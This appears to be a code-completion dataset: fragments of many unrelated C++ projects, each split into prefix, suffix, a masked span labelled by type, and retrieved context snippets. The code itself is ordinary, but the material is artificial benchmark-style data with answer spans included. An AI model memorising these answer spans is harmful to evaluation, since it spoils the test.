#include "win_imulti_language_charset_detector.h" #ifdef Q_OS_WIN # include <comdef.h> # include <mlang.h> # include <Shlwapi.h> # include <windows.h> #endif #include <QtCore/QtDebug> #include <algorithm> #include <fougtools/cpptools/c_array_utils.h> #include <fougtools/cpptools/memory_utils.h> namespace Inte...
#include "win_imulti_language_charset_detector.h" #ifdef Q_OS_WIN # include <comdef.h> # include <mlang.h> # include <Shlwapi.h> # include <windows.h> #endif #include <QtCore/QtDebug> #include <algorithm> #include <fougtools/cpptools/c_array_utils.h> #include <fougtools/cpptools/memory_utils.h> namespace Inte...
if (streamBuffer != nullptr) { DetectEncodingInfo encodingInfoArray[8]; int encodingInfoCount = static_cast<int>(cpp::cArraySize(encodingInfoArray)); const HRESULT detectError = m_multiLang->DetectCodepageInIStream( MLDETECTCP_NON...
IStream* streamBuffer = SHCreateMemStream( reinterpret_cast<const BYTE*>(buffer.constData()), buffer.size());
assignment_statement
[ { "content": "#define NS_ERROR_OUT_OF_MEMORY ((nsresult) 0x8007000eL)\n", "file_path": "src/3rdparty/ucsd/nscore.h", "rank": 0, "score": 38209.72825344905 }, { "content": " return m_detectedEncodingName;\n\n}\n\n\n\nvoid MozillaUniversalCharsetDetector::init()\n\n{\n\n this->Reset();\n...
C++
graph/L2/tests/strongly_connected_component/host/main.cpp
vmayoral/Vitis_Libraries
2323dc5036041e18242718287aee4ce66ba071ef
#ifndef HLS_TEST #include "xcl2.hpp" #endif #include "ap_int.h" #include "scc_kernel.hpp" #include "utils.hpp" #include <cstring> #include <fstream> #include <iostream> #include <sys/time.h> #include <vector> #include <unordered_map> #include "xf_utils_sw/logger.hpp" #define XCL_BANK(n) (((unsigned int)(n)) | XCL_ME...
#ifndef HLS_TEST #include "xcl2.hpp" #endif #include "ap_int.h" #include "scc_kernel.hpp" #include "utils.hpp" #include <cstring> #include <fstream> #include <iostream> #include <sys/time.h> #include <vector> #include <unordered_map> #include "xf_utils_sw/logger.hpp" #define XCL_BANK(n) (((unsigned int)(n)) | XCL_ME...
#else offsetfile = "./data/test_offset.csr"; columnfile = "./data/test_column.csr"; goldenfile = "./data/test_golden.mtx"; #endif char line[1024] = {0}; int index = 0; int numVertices; int numEdges; std::fstream offsetfstream(offsetfile.c_str(), std::ios::in); if (!offsetfs...
if (!parser.getCmdOption("-g", goldenfile)) { std::cout << "ERROR: goldenfile is not set!\n"; return -1; }
if_condition
[]
C++
Terra/log/Logger.cpp
leeairw/Terra
9387c064b727633da34e3c2146a67b7fa9b59c62
#include <ctime> #include <atomic> #include "./Logger.hpp" #include "./LoggingStrategy.hpp" #include "../misc/Range.hpp" NS_HWM_BEGIN using Strategy = Logger::LoggingStrategy; using StrategyPtr = Logger::StrategyPtr; using Error = Logger::Error; class Logger::Impl { public: LockFactory lf_; StrategyPtr st_;...
#include <ctime> #include <atomic> #include "./Logger.hpp" #include "./LoggingStrategy.hpp" #include "../misc/Range.hpp" NS_HWM_BEGIN using Strategy = Logger::LoggingStrategy; using StrategyPtr = Logger::StrategyPtr; using Error = Logger::Error; class Logger::Impl { public: LockFactory lf_; StrategyPtr st_;...
String entry = L"[{}][{}] {}"_format(to_wstr(time_str), level, message); return GetStrategy()->OutputLog(entry); } NS_HWM_END
if(error != 0) { time_str = std::string("(time not available: ") + strerror(error) + ")"; } else { char buf[256] = {}; strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S %z", &ltime); time_str = buf; }
if_condition
[ { "content": "class FileLoggingStrategy : public Logger::LoggingStrategy\n\n{\n\npublic:\n\n //! Create FileLoggingStrategy object with the target file path.\n\n /*! the target file is not opened immediately.\n\n */\n\n FileLoggingStrategy(String path);\n\n ~FileLoggingStrategy();\n\n \n\n ...
C++
Utilities/ITKv5Preparation/Move_DISALLOW_COPY_to_public_section.cpp
HongdaZ/ITK
f5d004fa3607b8e11edc30f1ba299df35af8aff8
#include <cassert> #include <cctype> #include <deque> #include <experimental/filesystem> #include <fstream> #include <iostream> #include <sstream> #include <cstring> #include <string> using namespace std::experimental::filesystem::v1; namespace { using Lines = std::deque<std::string>; auto ReadFile(const path&...
#include <cassert> #include <cctype> #include <deque> #include <experimental/filesystem> #include <fstream> #include <iostream> #include <sstream> #include <cstring> #include <string> using namespace std::experimental::filesystem::v1; namespace { using Lines = std::deque<std::string>; auto ReadFile(const path&...
candidateClassName.size() + 1 - sizeof(exportPostfix), sizeof(exportPostfix) - 1, exportPostfix) == 0) { inputStringStream >> candidateClassName; } return ExtractClassName( candidateClassName ); } const char* GoToFirstNonSpace(const char* ptr) { while (*ptr == ' ') { ...
return {}; } } return candidateClassName; } std::string FindClassName(const char* const line) { std::istringstream inputStringStream{ line }; std::string candidateClassName; inputStringStream >> candidateClassName; const char exportPostfix[] = "_EXPORT"; if (candidateC...
random
[ { "content": "class GTEST_API_ Matcher<const std::string&>\n\n : public internal::MatcherBase<const std::string&> {\n\n public:\n\n Matcher() {}\n\n\n\n explicit Matcher(const MatcherInterface<const std::string&>* impl)\n\n : internal::MatcherBase<const std::string&>(impl) {}\n\n\n\n // Allows the us...
C++
src/developer/debug/zxdb/console/format_exception.cc
allansrc/fuchsia
a2c235b33fc4305044d496354a08775f30cdcf37
#include "src/developer/debug/zxdb/console/format_exception.h" #include <lib/syslog/cpp/macros.h> #include <algorithm> #include "src/developer/debug/zxdb/client/frame.h" #include "src/developer/debug/zxdb/client/process.h" #include "src/developer/debug/zxdb/client/session.h" #include "src/developer/debug/zxdb/clie...
#include "src/developer/debug/zxdb/console/format_exception.h" #include <lib/syslog/cpp/macros.h> #include <algorithm> #include "src/developer/debug/zxdb/client/frame.h" #include "src/developer/debug/zxdb/client/process.h" #include "src/developer/debug/zxdb/client/session.h" #include "src/developer/debug/zxdb/clie...
std::string ExceptionRecordToString(debug::Arch arch, const debug_ipc::ExceptionRecord& record) { if (!record.valid) return "No exception information"; std::string suffix = (record.strategy == debug_ipc::ExceptionStrategy::kSecondChance) ? " (second chance)" : ""; switch (arch) { case debug::Arch...
OutputBuffer FormatException(const ConsoleContext* context, const Thread* thread, const debug_ipc::ExceptionRecord& record) { std::string heading = ExceptionRecordToString(thread->session()->arch(), record); size_t divider_length = std::min<size_t>(heading.size() + 2, 80); std:...
function_block-full_function
[]
C++
core/model/mapiRowModel.cpp
princesly/mfcmapi
814f4588c41df6a92bac961e9d7562cd4b7633fe
#include <core/stdafx.h> #include <core/model/mapiRowModel.h> #include <core/smartview/SmartView.h> #include <core/mapi/cache/namedProps.h> #include <core/interpret/proptags.h> #include <core/property/parseProperty.h> #include <core/utility/error.h> #include <core/mapi/mapiFunctions.h> #include <core/mapi/mapiMemory.h>...
#include <core/stdafx.h> #include <core/model/mapiRowModel.h> #include <core/smartview/SmartView.h> #include <core/mapi/cache/namedProps.h> #include <core/interpret/proptags.h> #include <core/property/parseProperty.h> #include <core/utility/error.h> #include <core/mapi/mapiFunctions.h> #include <core/mapi/mapiMemory.h>...
_Check_return_ std::shared_ptr<model::mapiRowModel> propToModel( _In_ const SPropValue* lpPropVal, _In_ const ULONG ulPropTag, _In_opt_ const LPMAPIPROP lpProp, _In_ const bool bIsAB) { return propToModelInternal(lpPropVal, ulPropTag, lpProp, bIsAB, nullptr, nullptr); } }
bject && lpMappingSigFromObject->ulPropTag == PR_MAPPING_SIGNATURE) lpSigBin = &mapi::getBin(lpMappingSigFromObject); } namedPropCacheEntries = cache::GetNamesFromIDs(lpProp, lpSigBin, lpTags, NULL); MAPIFreeBuffer(lpTags); } } } auto models = std::vector<std::shared_ptr<model::...
function_block-function_prefixed
[ { "content": " LPBYTE lpTag; /* X.400 OID for this attachment type */\n", "file_path": "include/MAPI.h", "rank": 0, "score": 144757.1169941924 }, { "content": "\tULONG ulPropTag;\n", "file_path": "include/MAPIDefS.h", "rank": 1, "score": 136221.70807338264 ...
C++
lomox/lxfile.cpp
jjzhang166/lomox
7641df8c9d6de86ed64d19aadb76a3c905683050
 #include "lomox_global.h" #include "lxfile.h" LxFile::LxFile( QObject* parent ) :LxOperate(parent) { } LxFile::LxFile( QObject* object, QWebView* pWebView, QString strApiName ) :LxOperate(object, pWebView, strApiName) { } LxFile::~LxFile() { } QVariant LxFile::readFileData(QVariant varFilename, QString readTy...
 #include "lomox_global.h" #include "lxfile.h" LxFile::LxFile( QObject* parent ) :LxOperate(parent) { } LxFile::LxFile( QObject* object, QWebView* pWebView, QString strApiName ) :LxOperate(object, pWebView, strApiName) { } LxFile::~LxFile() { } QVariant LxFile::readFileData(QVariant varFilename, QString readTy...
QVariant LxFile::rename( QVariant varOldName, QVariant varNewName ) { if (!varOldName.isNull() && QVariant::String == varOldName.type()) { return QFile::rename(varOldName.toString(), varNewName.toString()); } else { return QVariant(false); } } QVariant LxFile::link( QVariant oldname, QVarian...
if (!varFilename.isNull() && QVariant::String == varFilename.type()) { return QFile::remove(varFilename.toString()); } else { return QVariant(false); } }
function_block-function_prefix_line
[ { "content": "", "file_path": "lomox/include/lxresources.h", "rank": 0, "score": 90978.7207877371 }, { "content": "", "file_path": "lomox/include/lxHttp.h", "rank": 1, "score": 88685.39681956625 }, { "content": "#define RETURN\t\t\t\t\t\treturn\n\n\n", "file_path": "l...
C++
resources/Wireshark/WiresharkDissectorFoo/ui/qt/moc_main_status_bar.cpp
joshis1/C_Programming
4a8003321251448a167bfca0b595c5eeab88608d
#include "main_status_bar.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'main_status_bar.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.6.1. It" #error "cannot be used w...
#include "main_status_bar.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'main_status_bar.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.6.1. It" #error "cannot be used w...
void MainStatusBar::showExpertInfo() { QMetaObject::activate(this, &staticMetaObject, 0, Q_NULLPTR); } void MainStatusBar::editCaptureComment() { QMetaObject::activate(this, &staticMetaObject, 1, Q_NULLPTR); } void MainStatusBar::stopLoading() { QMetaObject::activate(this, &staticMetaObject, 2, Q_NULLPT...
all(this, _c, _id, _a); _id -= 36; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 36) qt_static_metacall(this, _c, _id, _a); _id -= 36; } return _id; }
function_block-function_prefixed
[]
C++
security/keystore/keystore_cli_v2.cpp
Keneral/asystem
df12381b72ef3d629c8efc61100cc8c714195320
#include <cstdio> #include <memory> #include <string> #include <vector> #include "base/command_line.h" #include "base/files/file_util.h" #include "keymaster/authorization_set.h" #include "keymaster/keymaster_tags.h" #include "keystore/keystore_client_impl.h" using base::CommandLine; using keymaster::AuthorizationSe...
#include <cstdio> #include <memory> #include <string> #include <vector> #include "base/command_line.h" #include "base/files/file_util.h" #include "keymaster/authorization_set.h" #include "keymaster/keymaster_tags.h" #include "keystore/keystore_client_impl.h" using base::CommandLine; using keymaster::AuthorizationSe...
if (result != KM_ERROR_OK) { printf("Sign: BeginOperation failed: %d\n", result); return result; } AuthorizationSet empty_params; size_t num_input_bytes_consumed; std::string output_data; result = keystore->updateOperation(handle, empty_params, "data_to_sign", ...
int32_t result = keystore->beginOperation(KM_PURPOSE_SIGN, name, sign_params.build(), &output_params, &handle);
assignment_statement
[ { "content": "// struct for serializing the results of export\n\nstruct ExportResult {\n\n ExportResult();\n\n ~ExportResult();\n\n void readFromParcel(const Parcel& in);\n\n void writeToParcel(Parcel* out) const;\n\n\n\n int resultCode;\n\n std::unique_ptr<uint8_t[], MallocDeleter> exportData...
C++
Source/FairyGUI/Private/UI/GRoot.cpp
sven721/FairyGUI-unreal
1d45e1eb609245cc8593beef7cd41ddd354bb756
#include "UI/GRoot.h" #include "Engine/World.h" #include "Engine/GameViewportClient.h" #include "Slate.h" #include "FairyApplication.h" #include "UI/GWindow.h" #include "UI/GGraph.h" #include "UI/UIPackage.h" #include "Widgets/SContainer.h" int32 UGRoot::ContentScaleLevel = 0; class SRootContainer : public SContainer...
#include "UI/GRoot.h" #include "Engine/World.h" #include "Engine/GameViewportClient.h" #include "Slate.h" #include "FairyApplication.h" #include "UI/GWindow.h" #include "UI/GGraph.h" #include "UI/UIPackage.h" #include "Widgets/SContainer.h" int32 UGRoot::ContentScaleLevel = 0; class SRootContainer : public SContainer...
; } void UGRoot::DoShowTooltipsWin() { if (TooltipWin == nullptr) return; FVector2D pt = GetApp()->GetTouchPosition(); FVector2D Pos = pt + FVector2D(10, 20); Pos = GlobalToLocal(Pos); if (Pos.X + TooltipWin->GetWidth() > GetWidth()) Pos.X -= TooltipWin->GetWidth(); if (Pos.Y...
GWorld->GetTimerManager().SetTimer( ShowTooltipsTimerHandle, FTimerDelegate::CreateUObject(this, &UGRoot::DoShowTooltipsWin), 0.1f, false)
call_expression
[ { "content": "class FAIRYGUI_API UGWindow : public UGComponent\n\n{\n\n GENERATED_BODY()\n\n\n\npublic:\n\n UFUNCTION(BlueprintCallable, Category = \"FairyGUI\", meta = (WorldContext = \"WorldContextObject\"))\n\n static UGWindow* CreateWindow(const FString& PackageName, const FString& ResourceName, UO...
C++
com-1/src/RTC/RtpDictionaries/RtpParameters.cpp
Globik/kore-mediasoup
343186112316c9f201cd97181cc807881db3bd86
#define MS_CLASS "RTC::RtpParameters" #include "Logger.hpp" #include "MediaSoupError.hpp" #include "RTC/RtpDictionaries.hpp" #include <unordered_set> namespace RTC { RtpParameters::RtpParameters(Json::Value& data) { MS_TRACE(); static const Json::StaticString JsonStringMuxId{ "muxId" }; static const Json:...
#define MS_CLASS "RTC::RtpParameters" #include "Logger.hpp" #include "MediaSoupError.hpp" #include "RTC/RtpDictionaries.hpp" #include <unordered_set> namespace RTC { RtpParameters::RtpParameters(Json::Value& data) { MS_TRACE(); static const Json::StaticString JsonStringMuxId{ "muxId" }; static const Json:...
inline void RtpParameters::ValidateCodecs() { MS_TRACE(); static std::string jsonStringApt{ "apt" }; if (this->codecs.empty()) MS_THROW_ERROR("empty RtpParameters.codecs"); std::unordered_set<uint8_t> payloadTypes; for (auto& codec : this->codecs) { if (payloadTypes.find(codec.payloadType) ...
uint8_t payloadType = encoding.codecPayloadType; auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto& codec = *it; if (codec.mime.IsFeatureCodec() && codec.parameters.GetInteger(associatedPayloadType) == payloadType) { return codec; } } return fakeCodec; }
function_block-function_prefix_line
[ { "content": "\t\tenum class Type : uint8_t\n\n\t\t{\n\n\t\t\tFIR = 192,\n\n\t\t\tNACK = 193,\n\n\t\t\tSR = 200,\n\n\t\t\tRR = 201,\n\n\t\t\tSDES = 202,\n\n\t\t\tBYE = 203,\n\n\t\t\tAPP = 204,\n\n\t\t\tRTPFB = 205,\n\n\t\t\tPSFB = 206\n\n\t\t};\n\n\n", "file_path": "worker/include/RTC/RTCP/Pa...
C++
external/fltk-2.0.x-r5966/OpenGL/Fl_Gl_Choice.cxx
jturner65/ParticleSim
0ad72630c6c417a924833c4d5955d6daa902fbe8
#include <config.h> #if HAVE_GL #include "GlChoice.h" #include <fltk/visual.h> #include <stdlib.h> using namespace fltk; static GlChoice* first; GlChoice* GlChoice::find(int mode) { GlChoice* g; for (g = first; g; g = g->next) if (g->mode == mode) return g; #ifdef _WIN32 HDC dc = getDC(); int p...
#include <config.h> #if HAVE_GL #include "GlChoice.h" #include <fltk/visual.h> #include <stdlib.h> using namespace fltk; static GlChoice* first; GlChoice* GlChoice::find(int mode) { GlChoice* g; for (g = first; g; g = g->next) if (g->mode == mode) return g; #ifdef _WIN32 HDC dc = getDC(); int p...
static GLContext first_context; #if USE_X11 #define DESTROY_ON_EXIT 0 #if DESTROY_ON_EXIT static struct Contexts { GLContext context; struct Contexts* next; } * context_list; static void destructor() { if (xdisplay && first_context) { first_context = 0; for (Contexts* p = context_list; p; p = p->nex...
if ((mode & ACCUM_BUFFER) && !pfd.cAccumBits) continue; if ((!(mode & DOUBLE_BUFFER)) != (!(pfd.dwFlags & PFD_DOUBLEBUFFER))) continue; if ((!(mode & STEREO)) != (!(pfd.dwFlags & PFD_STEREO))) continue; if ((mode & DEPTH_BUFFER) && !pfd.cDepthBits) continue; if ((mode & STENCIL_BUFFER) && !pfd.cStencilB...
function_block-function_prefix_line
[ { "content": "METHODDEF(boolean)\n\ndecode_mcu_DC_first (j_decompress_ptr cinfo, JBLOCKROW *MCU_data)\n\n{ \n\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;\n\n int Al = cinfo->Al;\n\n register int s, r;\n\n int blkn, ci;\n\n JBLOCKROW block;\n\n BITREAD_STATE_VARS;\n\n savable_state...
C++
src/WINNT/afsrdr/tools/objstatus/ObjectStatus.cpp
jakllsch/openafs
e739eaa650ee30dcce54d05908b062839eafbf73
#include <windows.h> #include <winioctl.h> #include <stdio.h> #include <shlwapi.h> #include "AFSUserDefines.h" #include "AFSUserIoctl.h" #include "AFSUserStructs.h" bool ParseFID( char *FidName, AFSFileID *FID); char * GetAFSFileType( IN DWORD FileType); void Usage() { printf("Usage: AFSObjectStatu...
#include <windows.h> #include <winioctl.h> #include <stdio.h> #include <shlwapi.h> #include "AFSUserDefines.h" #include "AFSUserIoctl.h" #include "AFSUserStructs.h" bool ParseFID( char *FidName, AFSFileID *FID); char * GetAFSFileType( IN DWORD FileType); void Usage() { printf("Usage: AFSObjectStatu...
bool ParseFID( char *FidName, AFSFileID *FID) { char *pchCell = NULL, *pchVolume = NULL, *pchVnode = NULL, *pchUnique = NULL; char *pchCurrentPos = FidName; char *pLocation = NULL; char chBuffer[ 50]; pchCell = pchCurrentPos; pLocation = strchr( pchCell, '.'); if( pLocation =...
int main(int argc, char* argv[]) { ULONG rc = 0; DWORD bytesReturned = 0; HANDLE hControlDevice = NULL; char *pBuffer = NULL; DWORD dwError = 0, dwIndex = 0, dwBufferSize = 0; AFSGetStatusInfoCB *pGetStatusInfo = NULL; AFSStatusInfoCB *pStatusInfo = NULL; AFSFileID stFID; BOOLEAN bU...
function_block-full_function
[ { "content": " UNICODE_STRING FullFileName;\n", "file_path": "src/WINNT/afsrdr/kernel/lib/Include/AFSStructs.h", "rank": 0, "score": 243405.6354101187 }, { "content": "afs_int32\n\nSVL_GetEntryByNameN(struct rx_call *rxcall,\n\n\t\t char *volname,\n\n\t\t struct nvldbentry *aentry)\...
C++
listwidget.cpp
dayuanyuan1989/RemoteBinder
6c07896828187bbb890115fa1326f9db4fbd7b68
#include "listwidget.h" #include "ui_listwidget.h" #include <QEvent> #include <QMouseEvent> #include <QWheelEvent> #include <Qdebug> ListWidget::ListWidget(QWidget *parent) : QWidget(parent), ui(new Ui::ListWidget), m_ItemSpace(4), m_selectedIndex(-1), m_cursorEnable(true), m_f...
#include "listwidget.h" #include "ui_listwidget.h" #include <QEvent> #include <QMouseEvent> #include <QWheelEvent> #include <Qdebug> ListWidget::ListWidget(QWidget *parent) : QWidget(parent), ui(new Ui::ListWidget), m_ItemSpace(4), m_selectedIndex(-1), m_cursorEnable(true), m_f...
Y = -m_pWidgetListPane->height() + ui->background->height(); int delta = ( (e->angleDelta().y() > 0) ? 60 : -60 ); int posY = m_pWidgetListPane->y() + delta; if(m_animManager.OnRunning()) m_animManager.ReleaseAnimation(); if(!RollChecked()) return; if(posY > pageBeginY) posY = pageBeginY; ...
void ListWidget::init() { m_pWidgetListPane = new QWidget(ui->background); ui->curosr->setParent(m_pWidgetListPane); connect(&m_animManager, SIGNAL(valueHasChanged(QVariant)), this, SLOT(AnimationUpdate(QVariant)) ); connect(&m_animManager, SIGNAL(finished()), this, SLOT(AnimationFinished()))...
random
[ { "content": "class DeleteDialog;\n\n}\n\n\n", "file_path": "deletedialog.h", "rank": 0, "score": 34138.03018523498 }, { "content": "class DeleteDialogEx;\n\n}\n\n\n", "file_path": "deletedialogex.h", "rank": 1, "score": 31878.019443510068 }, { "content": "class DeleteDia...
C++
src/cetech/scene/private/scene_compiler.cpp
ValtoForks/cetech
03347c5ec34e8827024ae4ddd911bd0f804a85b0
#include <time.h> #include <celib/macros.h> #include <celib/ydb.h> #include <celib/array.inl> #include "celib/hashlib.h" #include "celib/memory.h" #include "celib/api_system.h" #include <celib/os.h> #include <celib/ydb.h> #include <celib/cdb.h> #include <celib/config.h> #include "cetech/machine/machine.h" #include ...
#include <time.h> #include <celib/macros.h> #include <celib/ydb.h> #include <celib/array.inl> #include "celib/hashlib.h" #include "celib/memory.h" #include "celib/api_system.h" #include <celib/os.h> #include <celib/ydb.h> #include <celib/cdb.h> #include <celib/config.h> #include "cetech/machine/machine.h" #include ...
static void _destroy_compile_output(struct compile_output *output) { ce_array_free(output->geom_name, _G.allocator); ce_array_free(output->ib_offset, _G.allocator); ce_array_free(output->vb_offset, _G.allocator); ce_array_free(output->vb_decl, _G.allocator); ce_array_free(output->ib_size, _G.alloc...
struct compile_output *_crete_compile_output() { struct compile_output *output = CE_ALLOC(_G.allocator, struct compile_output, sizeof(struct compile_output)); *output = {}; return output; }
function_block-full_function
[ { "content": "#ifndef CECORE_ALLOCATOR_H\n\n#define CECORE_ALLOCATOR_H\n\n\n\n#include <stdint.h>\n\n#include <stddef.h>\n\n\n\n\n\n#define CE_ALLOC(a, T, size) \\\n\n (T*)((a)->reallocate((a), \\\n\n NULL, \\\n\n ...
C++
examples_tests/50.NewAPITest/main.cpp
deprilula28/Nabla
6b5de216221718191713dcf6de8ed6407182ddf0
#define _NBL_STATIC_LIB_ #include <nabla.h> #include <iostream> #include <cstdio> #include "CFileSystem.h" #if defined(_NBL_PLATFORM_WINDOWS_) #include <nbl/ui/CWindowWin32.h> using CWindowT = nbl::ui::CWindowWin32; #elif defined(_NBL_PLATFORM_LINUX_) #ifdef _NBL_TEST_WAYLAND #include <nbl/ui/CWindowWayland.h> us...
#define _NBL_STATIC_LIB_ #include <nabla.h> #include <iostream> #include <cstdio> #include "CFileSystem.h" #if defined(_NBL_PLATFORM_WINDOWS_) #include <nbl/ui/CWindowWin32.h> using CWindowT = nbl::ui::CWindowWin32; #elif defined(_NBL_PLATFORM_LINUX_) #ifdef _NBL_TEST_WAYLAND #include <nbl/ui/CWindowWayland.h> us...
int main() { constexpr uint32_t WIN_W = 800u; constexpr uint32_t WIN_H = 600u; constexpr uint32_t SC_IMG_COUNT = 3u; const char* vs_source = R"(#version 430 layout (location = 0) in vec2 Pos; layout (location = 1) in vec3 Color; layout (location = 0) out vec3 OutColor; void main() { OutColor = Color; gl_Pos...
static void debugCallback(video::E_DEBUG_MESSAGE_SEVERITY severity, video::E_DEBUG_MESSAGE_TYPE type, const char* msg, void* userData) { const char* sev = nullptr; switch (severity) { case video::EDMS_VERBOSE: sev = "verbose"; break; case video::EDMS_INFO: sev = "info"; break; case video::EDMS_WARNING: sev ...
function_block-full_function
[ { "content": "namespace nbl\n\n{\n\nnamespace builtin\n\n{\n\n\n\n// if you attempt to use this without `NBL_EMBED_BUILTIN_RESOURCES_` CMake option, you will get loads of undefined references\n\ntemplate<typename StringUniqueLiteralType>\n\nconst std::pair<const uint8_t*, size_t> get_resource();\n\n\n\n// if yo...
C++
Arduino Code/Libraries/ADS1299/ADS1299Manager.cpp
alexsigaras/openbci
031a39c4c52399b726d6b6abab69df7b8a60a0a8
#include <ADS1299Manager.h> typedef long int32; void ADS1299Manager::initialize(void) { initialize(OPENBCI_V2); } void ADS1299Manager::initialize(const int version) { setVersionOpenBCI(version); ADS1299::initialize(PIN_DRDY,PIN_RST,PIN_CS,SCK_MHZ); delay(100); verbose = false;...
#include <ADS1299Manager.h> typedef long int32; void ADS1299Manager::initialize(void) { initialize(OPENBCI_V2); } void ADS1299Manager::initialize(const int version) { setVersionOpenBCI(version); ADS1299::initialize(PIN_DRDY,PIN_RST,PIN_CS,SCK_MHZ); delay(100); verbose = false;...
:printAllRegisters(void) { boolean prevVerboseState = verbose; verbose = true; ADS1299::RREGS(0x00,0x10); delay(100); ADS1299::RREGS(0x11,0x17-0x11); verbose = prevVerboseState; } boolean ADS1299Manager::use_SRB1(void) { for (int Ichan=0; Ichan < OPE...
299Manager::writeChannelDataAsBinary(int N, long sampleNumber) { if ((N < 1) || (N > 8)) return; Serial.write( (byte) PCKT_START); Serial.write((1+N)*4); val = 1L; Serial.write(val_ptr,4); for (int chan = 0; chan < N; chan++ ) { val = (long)(channelData[chan]); S...
random
[ { "content": " byte RREG(byte _address);\n\n void RREGS(byte _address, byte _numRegistersMinusOne); \n\n void printRegisterName(byte _address);\n\n void WREG(byte _address, byte _value); \n\n void WREGS(byte _address, byte _numRegistersMinusOne); \n\n void printHex(byte _data);\n\n void...
C++
src/utils.cpp
bastig2001/grman_project_2
ffd5e701b3524e6b41f1cc59a55a2fb3ed6880cc
#include "utils.h" #include <iterator> #include <sstream> #include <unordered_map> using namespace std; const char base64_chars[]{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"}; const char pad_char{'='}; const unordered_map<char, unsigned short> base64_vals{ {'A', 0}, {'B', 1}, {'C', 2}, {'D...
#include "utils.h" #include <iterator> #include <sstream> #include <unordered_map> using namespace std; const char base64_chars[]{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"}; const char pad_char{'='}; const unordered_map<char, unsigned short> base64_vals{ {'A', 0}, {'B', 1}, {'C', 2}, {'D...
return decoded; } string vector_to_string( const vector<filesystem::path>& elements, const string& separator ) { return vector_to_string( vector<string>{elements.begin(), elements.end()}, separator ); } string vector_to_string( const vector<string>& ele...
if (to_decode[to_decode.length() - 1] == pad_char) { decoded.pop_back(); if (to_decode[to_decode.length() - 2] == pad_char) { decoded.pop_back(); } }
if_condition
[ { "content": "namespace msg {\n\n struct File {\n\n FileName name;\n\n Timestamp timestamp;\n\n size_t size;\n\n StrongSign signature;\n\n\n\n static File from_proto(const ::File& file) {\n\n return File {\n\n file.name(),\n\n file.t...
C++
Jx3Full/Source/Source/KG3DEngine/KG3DEngine/KG3DSfxExp.cpp
RivenZoo/FullSource
cfd7fd7ad422fd2dae5d657a18839c91ff9521fd
#include "StdAfx.h" #include "KG3DSfxExp.h" #include "KG3DGraphicsTool.h" #include "KG3DScene.h" #include "KG3DEngineManager.h" namespace { inline float GetRandom(float fMin, float fMax) { float fRandNum = (float)rand() / RAND_MAX; return (fMin + (fMax - fMin) * fRandNum); }...
#include "StdAfx.h" #include "KG3DSfxExp.h" #include "KG3DGraphicsTool.h" #include "KG3DScene.h" #include "KG3DEngineManager.h" namespace { inline float GetRandom(float fMin, float fMax) { float fRandNum = (float)rand() / RAND_MAX; return (fMin + (fMax - fMin) * fRandNum); }...
u.z)); pCamera->SetSwingOffset(vSwing); } D3DXVECTOR3 vScanl; m_tlModelScanl.GetData(&vScanl, fCurrentFrame); if (m_pBindModel && vScanl != D3DXVECTOR3(1.f, 1.f, 1.f)) { vScanl.x = vScanl.x * m_vScanlSave.x; vScanl.y = vScanl.y * m_vScanlSave.y; vScanl....
function_block-function_prefixed
[]
C++
applications/gui2/src/modules/dev/disparity.cpp
knicos/voltu
70b39da7069f8ffd7e33aeb5bdacc84fe4a78f01
#include "developer.hpp" #include <loguru.hpp> #include "../../views/dev/disparityview.hpp" #include <ftl/codecs/channels.hpp> using ftl::gui2::DisparityDev; using ftl::codecs::Channel; using ftl::rgbd::Capability; void DisparityDev::init() { colouriser_ = std::unique_ptr<ftl::render::Colouriser>( ftl::create<ftl...
#include "developer.hpp" #include <loguru.hpp> #include "../../views/dev/disparityview.hpp" #include <ftl/codecs/channels.hpp> using ftl::gui2::DisparityDev; using ftl::codecs::Channel; using ftl::rgbd::Capability; void DisparityDev::init() { colouriser_ = std::unique_ptr<ftl::render::Colouriser>( ftl::create<ftl...
bool DisparityDev::getFrame(ftl::cuda::TextureObject<uchar4>& frame, ftl::codecs::Channel channel) { if (std::atomic_load(&current_fs_).get() != nullptr) { frame = getFrame(); return true; } return false; } bool DisparityDev::getFrame(ftl::cuda::TextureObject<uchar4>& frame) { return getFrame(frame, Channel:...
if (std::atomic_load(&current_fs_)) { auto& frame = current_fs_->frames[frame_idx].cast<ftl::rgbd::Frame>(); if (frame.hasChannel(Channel::Left)) current_frame_colour_ = frame.getTexture<uchar4>(Channel::Left); if (frame.hasChannel(channel)) { current_frame_ = colouriser_->colourise(frame, channel, 0); } e...
function_block-function_prefix_line
[ { "content": "class FrameSet : public ftl::data::Frame {\n\n\tprivate:\n\n\t//FrameSet(Pool *ppool, Session *parent, uint32_t pid, int64_t ts) :\n\n\t//\tFrame(ppool, parent, pid | 0xFF, ts) {};\n\n\n\n\n\n\tpublic:\n\n\tFrameSet(Pool *ppool, FrameID pid, int64_t ts, size_t psize=1);\n\n\t~FrameSet();\n\n\n\n\t...
C++
Programs/UnitTests/Classes/Tests/LocalizationTest.cpp
reven86/dava.engine
ca47540c8694668f79774669b67d874a30188c20
#include "DAVAEngine.h" #include "UnitTests/UnitTests.h" #include "Utils/BiDiHelper.h" #include "Render/2D/TextLayout.h" #include <float.h> struct TestLangsData { DAVA::String langId; }; static const DAVA::Vector<TestLangsData> files = { TestLangsData{ "weird_characters" }, TestLangsData{ "de" }, Te...
#include "DAVAEngine.h" #include "UnitTests/UnitTests.h" #include "Utils/BiDiHelper.h" #include "Render/2D/TextLayout.h" #include <float.h> struct TestLangsData { DAVA::String langId; }; static const DAVA::Vector<TestLangsData> files = { TestLangsData{ "weird_characters" }, TestLangsData{ "de" }, Te...
yout.IsEndOfText()) { visual_work += L"\n"; } } TEST_VERIFY_WITH_MESSAGE(visual == visual_work, Format("YamlNode index: %d", k)); } } #endif };
